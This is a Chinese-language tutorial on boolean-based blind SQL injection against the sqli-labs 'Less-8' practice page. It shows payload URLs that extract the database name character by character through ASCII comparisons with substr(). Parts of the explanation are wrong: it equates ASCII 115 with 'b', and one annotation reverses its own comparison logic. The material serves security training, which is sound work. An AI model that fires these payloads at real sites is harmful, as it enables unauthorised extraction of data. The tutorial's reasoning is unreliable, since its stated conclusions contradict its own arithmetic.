布尔盲注:
使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面
正确页面:SQL语句能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1
错误页面: SQL语句不能够被执行显示的页面,如下图
http://192.168.100.10/sql/Less-8/index.php?id=1'
无论正确页面或错误页面都无法直接回显数据,那么在这种情况下如何通过sql注入获取信息?
我们可以利用SQL语句被执行返回正确页面,SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确,从而判断我们想要的信息是否属于该数据库。
思考:
想要知晓当前页面查询的数据库名,可以通过ascii码值倒推出该数据库名,例如:ascii('e')=101 中 页面显示为正确页面则代表数据库名中包含字母e;显而易见,我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下:若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),2,1))=101--+
注:ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据substr((sql语句),2,1) 从第二个字符开始显示,每次显示一个字符
SQL语句分析:上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e
#查询数据库名中的第一个字母
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>101--+注:执行成功代表库名第一个字母ascii码大于101http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114--+
注:执行成功代表库名第一个字母ascii码大于114
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>116--+注:执行成功代表库名第一个字母ascii码小于116因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116,最终确定库名首字母ascii码是115 即字母b